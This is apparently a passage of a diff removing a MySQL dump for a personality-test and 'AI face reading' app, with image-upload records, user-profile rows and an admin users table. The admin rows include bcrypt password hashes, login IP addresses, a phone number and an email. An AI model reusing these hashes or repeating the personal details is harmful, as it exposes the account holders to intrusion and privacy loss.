'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1229473c992.26199330.jfif', 'oss', '7a3038f690f4e2149a54a28556fe8f1f', 126656, 'image/jpeg', 'jfif', 1773216404, 1773216404); -INSERT INTO `mbti_upload_files` VALUES (69, 'mbti/20260311/img_69b12294706aa6.28073503.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12294706aa6.28073503.jfif', 'oss', '2b9c5669701817d84f80eee55cc8ecd2', 136450, 'image/jpeg', 'jfif', 1773216404, 1773216404); -INSERT INTO `mbti_upload_files` VALUES (70, 'mbti/20260311/img_69b122946a54c6.37603583.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122946a54c6.37603583.jfif', 'oss', '9b48790fddccaf294b050cc8f49d71d8', 142878, 'image/jpeg', 'jfif', 1773216404, 1773216404); -INSERT INTO `mbti_upload_files` VALUES (71, 'mbti/20260311/img_69b128d154dcb8.48696739.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d154dcb8.48696739.jpg', 'oss', 'c49cc6b635abcc1a69389c72b9806fc1', 126764, 'image/jpeg', 'jpg', 1773218001, 1773218001); -INSERT INTO `mbti_upload_files` VALUES (72, 'mbti/20260311/img_69b128d154df95.81703712.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d154df95.81703712.jpg', 'oss', '2e910aabcbd4c059507da065ce66e530', 99583, 'image/jpeg', 'jpg', 1773218001, 1773218001); -INSERT INTO `mbti_upload_files` VALUES (73, 'mbti/20260311/img_69b128d15502b8.73103052.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d15502b8.73103052.jpg', 'oss', '7cf9f2be739fd083df9d13e13b6d6a9a', 99851, 'image/jpeg', 'jpg', 1773218001, 1773218001); -INSERT INTO `mbti_upload_files` VALUES (74, 'mbti/20260311/img_69b129125da054.82470920.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b129125da054.82470920.jpg', 'oss', 'fdec09189ad31de155fd312389f31877', 109422, 'image/jpeg', 'jpg', 1773218066, 1773218066); -INSERT INTO `mbti_upload_files` VALUES (75, 'mbti/20260311/img_69b12912575b20.55637872.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12912575b20.55637872.jpg', 'oss', 'c6f76ff24b55b4455f47c0aa65e86eb4', 108104, 'image/jpeg', 'jpg', 1773218066, 1773218066); -INSERT INTO `mbti_upload_files` VALUES (76, 'mbti/20260311/img_69b1291258aed8.61725123.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1291258aed8.61725123.jpg', 'oss', '514bbf423470dfaebca34840db697f5c', 110522, 'image/jpeg', 'jpg', 1773218066, 1773218066); -INSERT INTO `mbti_upload_files` VALUES (77, 'mbti/20260311/img_69b12c1ef0a945.93981460.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1ef0a945.93981460.jpg', 'oss', '855f2c94fd9d441b9679a44121c5db35', 121566, 'image/jpeg', 'jpg', 1773218847, 1773218847); -INSERT INTO `mbti_upload_files` VALUES (78, 'mbti/20260311/img_69b12c1f03ae52.89961796.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1f03ae52.89961796.jpg', 'oss', 'bc66272b2846da28d72008e10b8411ee', 116232, 'image/jpeg', 'jpg', 1773218847, 1773218847); -INSERT INTO `mbti_upload_files` VALUES (79, 'mbti/20260311/img_69b12c1f0baf53.84218867.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1f0baf53.84218867.jpg', 'oss', 'd6c5ce4427962417f38e705d90cb4ca4', 121973, 'image/jpeg', 'jpg', 1773218847, 1773218847); -INSERT INTO `mbti_upload_files` VALUES (80, 'mbti/20260311/img_69b12e04905ca8.13020785.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e04905ca8.13020785.jpg', 'oss', 'e317f454a4c121ed4cc5900254c4f5d1', 117972, 'image/jpeg', 'jpg', 1773219333, 1773219333); -INSERT INTO `mbti_upload_files` VALUES (81, 'mbti/20260311/img_69b12e04924b36.48351571.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e04924b36.48351571.jpg', 'oss', '1573210c9170e713bb8787a0c66b8495', 123427, 'image/jpeg', 'jpg', 1773219333, 1773219333); -INSERT INTO `mbti_upload_files` VALUES (82, 'mbti/20260311/img_69b12e049f74d0.23514689.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e049f74d0.23514689.jpg', 'oss', 'bafbc654e74c6a8ce82ad9fa8cca8363', 125148, 'image/jpeg', 'jpg', 1773219333, 1773219333); -INSERT INTO `mbti_upload_files` VALUES (83, 'mbti/20260311/img_69b12e17e48f79.80563960.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e17e48f79.80563960.jpg', 'oss', '0027b5729ea7282f8bd98574e9389349', 120208, 'image/jpeg', 'jpg', 1773219352, 1773219352); -INSERT INTO `mbti_upload_files` VALUES (84, 'mbti/20260311/img_69b12e17e5b252.86311668.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e17e5b252.86311668.jpg', 'oss', '506ea02dafe435552668874c1d7c0c65', 129913, 'image/jpeg', 'jpg', 1773219352, 1773219352); -INSERT INTO `mbti_upload_files` VALUES (85, 'mbti/20260311/img_69b12e1826fc05.57970226.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e1826fc05.57970226.jpg', 'oss', 'd121680da07428ec87db54b9b81d9b35', 127374, 'image/jpeg', 'jpg', 1773219353, 1773219353); -INSERT INTO `mbti_upload_files` VALUES (86, 'mbti/20260311/img_69b13ab171e520.51202929.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab171e520.51202929.jpg', 'oss', 'e39c576e6239becee2b333bfb05b7a7a', 146000, 'image/jpeg', 'jpg', 1773222577, 1773222577); -INSERT INTO `mbti_upload_files` VALUES (87, 'mbti/20260311/img_69b13ab163f450.57707298.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab163f450.57707298.jpg', 'oss', 'dc932dc407a57f3b334b8930981ca537', 153759, 'image/jpeg', 'jpg', 1773222577, 1773222577); -INSERT INTO `mbti_upload_files` VALUES (88, 'mbti/20260311/img_69b13ab1747880.84872798.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab1747880.84872798.jpg', 'oss', '51a4325ac73792a03e67c100267fe425', 178084, 'image/jpeg', 'jpg', 1773222577, 1773222577); -INSERT INTO `mbti_upload_files` VALUES (89, 'mbti/20260311/img_69b14dc8538c07.76208125.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc8538c07.76208125.jpg', 'oss', '40a5eb10010afa4da9b55be7856b6b2f', 170198, 'image/jpeg', 'jpg', 1773227464, 1773227464); -INSERT INTO `mbti_upload_files` VALUES (90, 'mbti/20260311/img_69b14dc8575d08.12155284.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc8575d08.12155284.jpg', 'oss', '981a3f4809a522a3905fcd37271e955d', 167458, 'image/jpeg', 'jpg', 1773227464, 1773227464); -INSERT INTO `mbti_upload_files` VALUES (91, 'mbti/20260311/img_69b14dc853fc54.58224611.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc853fc54.58224611.jpg', 'oss', 'c09ab1ab078d40810cebac61787d35fb', 164566, 'image/jpeg', 'jpg', 1773227465, 1773227465); -INSERT INTO `mbti_upload_files` VALUES (92, 'mbti/20260311/img_69b14e40ae20b9.53607517.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14e40ae20b9.53607517.jpg', 'oss', '8ddbe41959187eb360aea40e98d81ef9', 4389, 'image/jpeg', 'jpg', 1773227584, 1773227584); -INSERT INTO `mbti_upload_files` VALUES (93, 'mbti/20260311/img_69b14f4a44cf41.09820406.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14f4a44cf41.09820406.jpg', 'oss', '0a3d1afe8ab13d4e34f955003ca8c7d4', 69706, 'image/jpeg', 'jpg', 1773227850, 1773227850); -INSERT INTO `mbti_upload_files` VALUES (94, 'mbti/20260311/img_69b14fe6e4e8e8.79302362.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe6e4e8e8.79302362.jpg', 'oss', '2d49facb79942ed6098b165496bcf475', 115505, 'image/jpeg', 'jpg', 1773228007, 1773228007); -INSERT INTO `mbti_upload_files` VALUES (95, 'mbti/20260311/img_69b14fe6effb19.11783053.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe6effb19.11783053.jpg', 'oss', 'b3651bcc0238b373bac9184d3a7e64fd', 121426, 'image/jpeg', 'jpg', 1773228007, 1773228007); -INSERT INTO `mbti_upload_files` VALUES (96, 'mbti/20260311/img_69b14fe704cf56.15509327.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe704cf56.15509327.jpg', 'oss', '4900f43385f32594e0542aeaa0e45be4', 122027, 'image/jpeg', 'jpg', 1773228008, 1773228008); -INSERT INTO `mbti_upload_files` VALUES (97, 'mbti/20260311/img_69b15028cc9d67.04689669.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028cc9d67.04689669.jpg', 'oss', 'b1e800a3a795935069b4ab1a31917c29', 122984, 'image/jpeg', 'jpg', 1773228073, 1773228073); -INSERT INTO `mbti_upload_files` VALUES (98, 'mbti/20260311/img_69b15028ccd066.43636225.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028ccd066.43636225.jpg', 'oss', '6f158bcea443e18cfd3310c76a50a436', 120914, 'image/jpeg', 'jpg', 1773228073, 1773228073); -INSERT INTO `mbti_upload_files` VALUES (99, 'mbti/20260311/img_69b15028ce1643.64175223.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028ce1643.64175223.jpg', 'oss', 'fc7c66436b4a6951db2c651d9c2324a7', 120377, 'image/jpeg', 'jpg', 1773228073, 1773228073); -INSERT INTO `mbti_upload_files` VALUES (100, 'mbti/20260311/img_69b1516bac84a6.20264714.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516bac84a6.20264714.jpg', 'oss', '112209e613570cda5e0320f04ef0e4fd', 153274, 'image/jpeg', 'jpg', 1773228395, 1773228395); -INSERT INTO `mbti_upload_files` VALUES (101, 'mbti/20260311/img_69b1516ba4bf30.72712934.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516ba4bf30.72712934.jpg', 'oss', '3b1d0c359ac4e578b722d8010009e033', 153680, 'image/jpeg', 'jpg', 1773228396, 1773228396); -INSERT INTO `mbti_upload_files` VALUES (102, 'mbti/20260311/img_69b1516bb5a282.82864273.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516bb5a282.82864273.jpg', 'oss', 'd2817f45e62023d426af5e1a869ba2b7', 151364, 'image/jpeg', 'jpg', 1773228396, 1773228396); -INSERT INTO `mbti_upload_files` VALUES (103, 'mbti/20260311/img_69b151a3f3c0b5.68589567.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3f3c0b5.68589567.jpg', 'oss', '134dd68939a27b2a1d973ef9960cce40', 166121, 'image/jpeg', 'jpg', 1773228452, 1773228452); -INSERT INTO `mbti_upload_files` VALUES (104, 'mbti/20260311/img_69b151a3ed78b1.95279640.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3ed78b1.95279640.jpg', 'oss', '502b8440cd6bccce64d5058e10ff194d', 165584, 'image/jpeg', 'jpg', 1773228452, 1773228452); -INSERT INTO `mbti_upload_files` VALUES (105, 'mbti/20260311/img_69b151a3eba629.60383383.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3eba629.60383383.jpg', 'oss', 'daccbd84b40e644769025d9e69277ade', 169727, 'image/jpeg', 'jpg', 1773228452, 1773228452); -INSERT INTO `mbti_upload_files` VALUES (106, 'mbti/20260311/img_69b152a11237f1.79404762.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a11237f1.79404762.jpg', 'oss', '766dc74560baf9a631b9cb4fca87b45b', 147954, 'image/jpeg', 'jpg', 1773228705, 1773228705); -INSERT INTO `mbti_upload_files` VALUES (107, 'mbti/20260311/img_69b152a0eb0481.53858657.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a0eb0481.53858657.jpg', 'oss', '4f7d7b697ae8525e9dc6ea62c55efb18', 165695, 'image/jpeg', 'jpg', 1773228705, 1773228705); -INSERT INTO `mbti_upload_files` VALUES (108, 'mbti/20260311/img_69b152a0f32570.64051638.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a0f32570.64051638.jpg', 'oss', 'efd29da39c44fe96d4da9ed8dce04c15', 139846, 'image/jpeg', 'jpg', 1773228705, 1773228705); -INSERT INTO `mbti_upload_files` VALUES (109, 'mbti/20260311/img_69b152e6decb88.39454837.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e6decb88.39454837.jpg', 'oss', 'f45c70d40e294276e6d75d59f80713cf', 137357, 'image/jpeg', 'jpg', 1773228775, 1773228775); -INSERT INTO `mbti_upload_files` VALUES (110, 'mbti/20260311/img_69b152e6db9b37.88275148.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e6db9b37.88275148.jpg', 'oss', '1cbd694fd6fc4db365e90aceff1bd2ec', 142606, 'image/jpeg', 'jpg', 1773228775, 1773228775); -INSERT INTO `mbti_upload_files` VALUES (111, 'mbti/20260311/img_69b152e703d9a8.06342422.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e703d9a8.06342422.jpg', 'oss', '03a098f6452fcda2eb2ba3c29e48e6df', 143220, 'image/jpeg', 'jpg', 1773228776, 1773228776); -INSERT INTO `mbti_upload_files` VALUES (112, 'mbti/20260311/img_69b15315631506.55875786.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg', 'oss', 'e83a0884339d6d67b51d5030b054d1e2', 141736, 'image/jpeg', 'jpg', 1773228821, 1773228821); -INSERT INTO `mbti_upload_files` VALUES (113, 'mbti/20260311/img_69b1531561a0f3.94016134.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg', 'oss', 'dae5b4f398f6823f7a5b17ce8e68cf4a', 144489, 'image/jpeg', 'jpg', 1773228821, 1773228821); -INSERT INTO `mbti_upload_files` VALUES (114, 'mbti/20260311/img_69b15315672be1.56231716.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg', 'oss', '3c8e1402536090a7a7af53c319827af2', 145189, 'image/jpeg', 'jpg', 1773228821, 1773228821); -INSERT INTO `mbti_upload_files` VALUES (115, 'mbti/20260311/img_69b155d8915338.23978756.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d8915338.23978756.jpg', 'oss', 'c85bfb87be8e713e6d4901b49990dd84', 107481, 'image/jpeg', 'jpg', 1773229528, 1773229528); -INSERT INTO `mbti_upload_files` VALUES (116, 'mbti/20260311/img_69b155d893f2e8.01394899.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d893f2e8.01394899.jpg', 'oss', 'f0affa39c3e9f8404d7dbe1eda413587', 110855, 'image/jpeg', 'jpg', 1773229528, 1773229528); -INSERT INTO `mbti_upload_files` VALUES (117, 'mbti/20260311/img_69b155d889b1d6.05067740.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d889b1d6.05067740.jpg', 'oss', '942e00dc9c6607ead97bb4fa82561b68', 108801, 'image/jpeg', 'jpg', 1773229529, 1773229529); -INSERT INTO `mbti_upload_files` VALUES (118, 'mbti/20260311/img_69b15686bcc486.40018861.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686bcc486.40018861.jpg', 'oss', 'af18e79958b5945a0382f17bdbcd5bb4', 152343, 'image/jpeg', 'jpg', 1773229703, 1773229703); -INSERT INTO `mbti_upload_files` VALUES (119, 'mbti/20260311/img_69b15686c108a2.00278153.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686c108a2.00278153.jpg', 'oss', 'fea1cd75a030626a5ae1657e4725ed03', 152558, 'image/jpeg', 'jpg', 1773229702, 1773229702); -INSERT INTO `mbti_upload_files` VALUES (120, 'mbti/20260311/img_69b15686c72c85.43050844.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686c72c85.43050844.jpg', 'oss', 'b2a9575f583d16eb4be4b1f8bbc4afcf', 152875, 'image/jpeg', 'jpg', 1773229703, 1773229703); -INSERT INTO `mbti_upload_files` VALUES (121, 'mbti/20260312/img_69b22c5b77dd72.66364633.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22c5b77dd72.66364633.png', 'oss', '34b020b7c4e4bbbb28511c418d973c29', 1387582, 'image/png', 'png', 1773284445, 1773284445); -INSERT INTO `mbti_upload_files` VALUES (122, 'mbti/20260312/img_69b22d71b312f8.14596541.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22d71b312f8.14596541.png', 'oss', '89cf37046fb115e47fe41d1038b47126', 1078792, 'image/png', 'png', 1773284723, 1773284723); -INSERT INTO `mbti_upload_files` VALUES (123, 'mbti/20260312/img_69b22d78d52b94.76297015.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22d78d52b94.76297015.png', 'oss', 'b67f6ac1003bb0b86e818e3f5432bcc6', 1582821, 'image/png', 'png', 1773284731, 1773284731); - --- ---------------------------- --- Table structure for mbti_user_profile --- ---------------------------- -DROP TABLE IF EXISTS `mbti_user_profile`; -CREATE TABLE `mbti_user_profile` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '主键ID', - `userId` int(11) NOT NULL COMMENT '用户ID(关联总用户表主键)', - `userType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT 'personal' COMMENT '用户类型: personal个人 / enterprise企业', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业用户所属企业,个人为空)', - `testsTotal` int(11) NOT NULL DEFAULT 0 COMMENT '总测试次数(所有类型之和)', - `testsMbti` int(11) NOT NULL DEFAULT 0 COMMENT 'MBTI测试次数', - `testsDisc` int(11) NOT NULL DEFAULT 0 COMMENT 'DISC测试次数', - `testsPdp` int(11) NOT NULL DEFAULT 0 COMMENT 'PDP测试次数', - `testsFace` int(11) NOT NULL DEFAULT 0 COMMENT 'AI面相测试次数', - `ordersTotal` int(11) NOT NULL DEFAULT 0 COMMENT '总订单数', - `paidOrders` int(11) NOT NULL DEFAULT 0 COMMENT '已付款订单数', - `totalPaidAmount` int(11) NOT NULL DEFAULT 0 COMMENT '总支付金额(分)', - `lastTestResultId` int(11) NULL DEFAULT NULL COMMENT '最近一条测试结果ID(mbti_test_results.id)', - `lastTestType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '最近测试类型: mbti/disc/pdp/face/ai', - `lastTestAt` int(11) NULL DEFAULT NULL COMMENT '最近测试时间', - `lastMbtiResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次MBTI结果ID', - `lastDiscResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次DISC结果ID', - `lastPdpResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次PDP结果ID', - `lastFaceResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次AI面相结果ID', - `createdAt` int(11) NOT NULL DEFAULT 0 COMMENT '创建时间', - `updatedAt` int(11) NOT NULL DEFAULT 0 COMMENT '更新时间', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `uk_user`(`userId`, `userType`, `enterpriseId`) USING BTREE, - INDEX `idx_enterprise`(`enterpriseId`) USING BTREE, - INDEX `idx_lastTestAt`(`lastTestAt`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 17 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '用户画像汇总表(个人+企业,含最近测试结果ID)' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of mbti_user_profile --- ---------------------------- -INSERT INTO `mbti_user_profile` VALUES (1, 1, 'personal', NULL, 28, 3, 4, 3, 18, 10, 10, 10, 73, 'face', 1772779082, 67, 69, 68, 73, 1772164861, 1773212497); -INSERT INTO `mbti_user_profile` VALUES (2, 1, 'enterprise', 5, 24, 1, 0, 3, 20, 0, 0, 0, 86, 'face', 1773042949, 71, NULL, 85, 86, 1772246018, 1773042949); -INSERT INTO `mbti_user_profile` VALUES (3, 6, 'personal', NULL, 5, 1, 0, 0, 4, 0, 0, 0, 100, 'face', 1773130960, 50, NULL, NULL, 100, 1772422915, 1773130960); -INSERT INTO `mbti_user_profile` VALUES (4, 7, 'personal', NULL, 1, 0, 0, 0, 1, 0, 0, 0, 51, 'face', 1772428086, NULL, NULL, NULL, 51, 1772428086, 1772428086); -INSERT INTO `mbti_user_profile` VALUES (5, 1, 'enterprise', 6, 32, 1, 4, 1, 19, 0, 0, 0, 145, 'face', 1773286899, 89, 103, 90, 145, 1772518933, 1773286899); -INSERT INTO `mbti_user_profile` VALUES (6, 12, 'personal', NULL, 4, 0, 0, 0, 4, 0, 0, 0, 59, 'face', 1772535779, NULL, NULL, NULL, 59, 1772535666, 1772535779); -INSERT INTO `mbti_user_profile` VALUES (7, 26, 'personal', NULL, 3, 0, 0, 0, 3, 0, 0, 0, 107, 'face', 1773137428, NULL, NULL, NULL, 107, 1773133602, 1773137428); -INSERT INTO `mbti_user_profile` VALUES (8, 28, 'personal', NULL, 3, 0, 0, 0, 3, 0, 0, 0, 116, 'face', 1773218176, NULL, NULL, NULL, 116, 1773218013, 1773218176); -INSERT INTO `mbti_user_profile` VALUES (9, 29, 'personal', NULL, 2, 0, 0, 0, 2, 0, 0, 0, 120, 'face', 1773219347, NULL, NULL, NULL, 120, 1773218860, 1773219347); -INSERT INTO `mbti_user_profile` VALUES (10, 31, 'personal', NULL, 1, 0, 0, 0, 1, 0, 0, 0, 121, 'face', 1773219366, NULL, NULL, NULL, 121, 1773219366, 1773219366); -INSERT INTO `mbti_user_profile` VALUES (11, 32, 'personal', NULL, 1, 0, 0, 0, 1, 0, 0, 0, 123, 'face', 1773222595, NULL, NULL, NULL, 123, 1773222595, 1773222595); -INSERT INTO `mbti_user_profile` VALUES (12, 33, 'personal', NULL, 6, 0, 0, 0, 6, 0, 0, 0, 134, 'face', 1773228837, NULL, NULL, NULL, 134, 1773227480, 1773228837); -INSERT INTO `mbti_user_profile` VALUES (13, 35, 'personal', NULL, 3, 1, 0, 0, 2, 0, 0, 0, 132, 'mbti', 1773228717, 132, NULL, NULL, 130, 1773227875, 1773228717); -INSERT INTO `mbti_user_profile` VALUES (14, 24, 'personal', NULL, 2, 0, 0, 0, 2, 0, 0, 0, 127, 'face', 1773228086, NULL, NULL, NULL, 127, 1773228025, 1773228086); -INSERT INTO `mbti_user_profile` VALUES (15, 36, 'personal', NULL, 1, 0, 0, 0, 1, 0, 0, 0, 135, 'face', 1773229546, NULL, NULL, NULL, 135, 1773229546, 1773229546); -INSERT INTO `mbti_user_profile` VALUES (16, 37, 'personal', NULL, 2, 1, 0, 0, 1, 0, 0, 0, 137, 'mbti', 1773229852, 137, NULL, NULL, 136, 1773229714, 1773229852); - --- ---------------------------- --- Table structure for mbti_users --- ---------------------------- -DROP TABLE IF EXISTS `mbti_users`; -CREATE TABLE `mbti_users` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '用户ID', - `username` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '用户名', - `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '密码(加密)', - `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '手机号', - `email` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '邮箱', - `role` enum('enterprise_admin','admin','superadmin') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '角色:enterprise_admin企业管理员/admin普通管理员/superadmin超级管理员', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', - `mbtiType` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MBTI类型', - `region` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '地区', - `industry` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '行业', - `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常,0禁用', - `lastLoginTime` int(11) NULL DEFAULT NULL COMMENT '最后登录时间(时间戳)', - `lastLoginIp` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '最后登录IP', - `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `username`(`username`) USING BTREE, - INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, - INDEX `idx_role`(`role`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_createdAt`(`createdAt`) USING BTREE, - INDEX `idx_lastLoginTime`(`lastLoginTime`) USING BTREE, - INDEX `idx_deletedAt`(`deletedAt`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 4 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '管理员用户表(仅存储管理员和超管)' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of mbti_users --- ---------------------------- -INSERT INTO `mbti_users` VALUES (1, 'admin', '$2y$10$9866aQMzPwSUrseZE8ltPeTB.5g17iVgJqN7yJBtiwTj6xst/.6Wy', NULL, NULL, 'superadmin', NULL, NULL, NULL, NULL, 1, 1773127322, '222.76.193.38', NULL, 1770877583, 1773127322); -INSERT INTO `mbti_users` VALUES (2, 'ckb', '$2y$10$9866aQMzPwSUrseZE8ltPeTB.5g17iVgJqN7yJBtiwTj6xst/.6Wy', '18888888888', 'ckb@qq.com', 'enterprise_admin', 5, NULL, NULL, NULL, 1, 1773227933, '222.76.193.38', NULL, 1770878340, 1773227933); -INSERT INTO `mbti_users` VALUES (3, 'test', '$2y$10$mCHe8NX/F48peF3CjPuowu4R0wB7I91I3xE1RLQv.p5dCt6Z7paYG', '', '', 'enterprise_admin', 6, NULL, NULL, NULL, 1, 1773132555, '192.168.1.22', NULL, 1772174277, 1773132555); - --- ---------------------------- --- Table structure for mbti_wechat_users --- ---------------------------- -DROP TABLE IF EXISTS `mbti_wechat_users`; -CREATE TABLE `mbti_wechat_users` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '用户ID', - `openid` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '微信 openid', - `unionid` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信 unionid(开放平台)', - `sessionKey` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '会话密钥', - `nickname` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '昵称', - `avatar` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '头像 URL', - 